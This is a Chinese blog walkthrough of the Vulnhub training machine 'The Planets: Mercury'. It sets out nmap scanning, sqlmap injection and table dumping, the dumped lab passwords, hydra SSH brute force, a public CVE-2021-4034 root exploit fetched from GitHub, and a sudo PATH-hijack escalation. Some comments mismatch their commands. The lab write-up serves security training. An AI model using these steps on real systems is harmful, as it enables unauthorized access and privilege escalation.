看完这篇 教你玩转渗透测试靶机Vulnhub——The Planets:Mercury

简介: 看完这篇 教你玩转渗透测试靶机Vulnhub——The Planets:Mercury

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

这是一个漏洞靶机,老样子需要找到flag即可。


Vulnhub靶机下载:

官方下载:https://download.vulnhub.com/theplanets/Mercury.ova

Vulnhub靶机安装:


下载好了把安装包解压 然后使用Oracle VM打开即可。



Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用arp-scan -l或者netdiscover发现主机

渗透机:kali IP :192.168.0.105 靶机IP :192.168.0.103


使用命令:nmap -sS -sV -A -n -p- 192.168.0.103



开启了228080端口老样子先访问,说还在开发中直接扫后台dirsearch 扫到了一个robots.txt进行访问,得到三个路径分别访问!



②:漏洞发现:

这里点进去我们可以发现存在1 可能存在SQL注入漏洞 直接使用sqlmap测一下 发现可以

 sqlmap -u "http://192.168.0.103:8080/mercuryfacts/2" --dbs --batch  #发现数据库


c439d75792f64a2b864767f101bbf8b2.png

sqlmap -u "http://192.168.0.103:8080/mercuryfacts/2" -D mercury --tables --batch #爆破数据表


1bf639446aa849b78d298865822122f6.png

sqlmap -u "http://192.168.0.103:8080/mercuryfacts/2" -D mercury -T users --dump --batch  #获取字段内容

48335cf8aec14e2a94566b3c47558e46.png


这里得到了几组账号和密码分别进行尝试最后一个就是SSH账号密码尝试登入,登入成功!!!

johnny1987  john
lovemykids111  laura
lovemybeer111  sam
mercuryisthesizeof0.056Earths  webmaster
hydra -l webmaster -P user.txt ssh://192.168.0.103    #可以尝试九头蛇进行爆破


66c659ee9a884ed68043119164461960.png

③:SSH登入:



SSH私钥验证登入,获取第一个FLAG接下来就是提取了。


~下面发现了一个notes.txt文件查看有一串Base64编码解码得:mercurymeandiameteris4880km


切换linuxmaster用户 使用命令:find / -perm -4000 -type f 2>/dev/null

④:CVE-2021-4034漏洞提权:
git clone https://github.com/berdav/CVE-2021-4034 #如果下载不了就本机下,然后拖带kaili里面
mack #会生成一个/cve-2021-4034
./cve-2021-4034 #运行即是root权限

这里可麻烦了我搞了半天 先是本机git访问不到github 然后下载kali拖进去
因为靶机里面是没有unzip得所以要将所有文件打包tar才行 然后开启apache2服务 使用wget进行下载



为了更好得查看先建个目录不然解压出来很乱 然后执行make 进行编译 在运行/cve-2021-4034即可。


PS:因为这个漏洞很吊 我本地kali运行也可以提权 当时搞错了本机找了半天flag文件没找到(原谅我得无知尴尬,哈哈哈)

⑤:获取FALG:



⑥:Sudo+SETENV(环境变量)提权(第二种提权方法):

没办法追求完美 所有要做一下第二种方法!

sudo -l 查看一下 可以执行root权限得sudo命令


原理:sudo运行时默认会启用env_reset选项将从命令行设置的环境变量复原,因此通常情况下,当使用sudo命令时,通过本地修改环境变量也没法替换目标文件来进行提权,但如果sudo在配置时为用户设置了SETENV选项情况就不一样了SETENV 会允许用户禁用env_reset选项,允许sudo使用当前用户命令行中设置的环境变量

echo "/bin/bash" > tail   #从/bin目录复制一个vim,并命名为tail存在/tmp目录下
chmod 777 tail #给个权限
export PATH=.:$PATH  #将/tmp目录放置在PATH环境变量的最前面
sudo --preserve-env=PATH /usr/bin/check_syslog.sh   #伪造的tail命令,从而用vim进行提权


43d57ae3fd12406f8d6b58f15fb31500.png


至此至此获取到了flag,本篇文章渗透结束 感谢大家的观看!!

Vulnhub靶机渗透总结:

这个靶机难度中等吧


1.信息收集arp-scan -l 获取ip地址 和端口信息 web扫描工具:nikto,dirb,dirbuster,whatweb,ffuf等 查看F12源码信息

2.sqlmap基本使用这里就不讲了DC3有写或者别的文章也有讲,ssh-keygen得登入!

3.CVE-2021-4034漏洞得利用(漏洞很强大!)

4.Sudo+SETENV(环境变量)提权得学习!


The Planets系列得第一个靶机,学习到了很多知识点又是收获满满的一天(耶耶耶!)

最后创作不易,希望对大家有所帮助 喜欢的话麻烦大家给个一键三连 你的开心就是我最大的快乐!!

相关文章
|
1月前
|
安全 Linux 网络安全
Neos的渗透测试靶机练习——DC-3
Neos的渗透测试靶机练习——DC-3
31 4
|
1月前
|
安全 Shell 网络安全
Neos的渗透测试靶机练习——DC-1
Neos的渗透测试靶机练习——DC-1
37 4
|
1月前
|
Devops Shell 网络安全
Neos的渗透测试靶机练习——Wakanda
Neos的渗透测试靶机练习——Wakanda
18 2
|
2月前
|
安全 中间件 Shell
渗透测试-靶机DC-2-知识点总结
渗透测试-靶机DC-2-知识点总结
35 0
|
2月前
|
安全 网络协议 Shell
渗透测试-靶机DC-1-知识点总结
渗透测试-靶机DC-1-知识点总结
39 0
|
8天前
|
JSON Java 测试技术
SpringCloud2023实战之接口服务测试工具SpringBootTest
SpringBootTest同时集成了JUnit Jupiter、AssertJ、Hamcrest测试辅助库,使得更容易编写但愿测试代码。
37 3
|
1月前
|
JSON 算法 数据可视化
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
这篇文章是关于如何通过算法接口返回的目标检测结果来计算性能指标的笔记。它涵盖了任务描述、指标分析(包括TP、FP、FN、TN、精准率和召回率),接口处理,数据集处理,以及如何使用实用工具进行文件操作和数据可视化。文章还提供了一些Python代码示例,用于处理图像文件、转换数据格式以及计算目标检测的性能指标。
59 0
测试专项笔记(一): 通过算法能力接口返回的检测结果完成相关指标的计算(目标检测)
|
2月前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
239 7
Jmeter实现WebSocket协议的接口测试方法
|
2月前
|
JSON 移动开发 监控
快速上手|HTTP 接口功能自动化测试
HTTP接口功能测试对于确保Web应用和H5应用的数据正确性至关重要。这类测试主要针对后台HTTP接口,通过构造不同参数输入值并获取JSON格式的输出结果来进行验证。HTTP协议基于TCP连接,包括请求与响应模式。请求由请求行、消息报头和请求正文组成,响应则包含状态行、消息报头及响应正文。常用的请求方法有GET、POST等,而响应状态码如2xx代表成功。测试过程使用Python语言和pycurl模块调用接口,并通过断言机制比对实际与预期结果,确保功能正确性。
248 3
快速上手|HTTP 接口功能自动化测试
|
1月前
|
JavaScript 前端开发 API
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
vue尚品汇商城项目-day02【9.Home组件拆分+10.postman测试接口】
40 0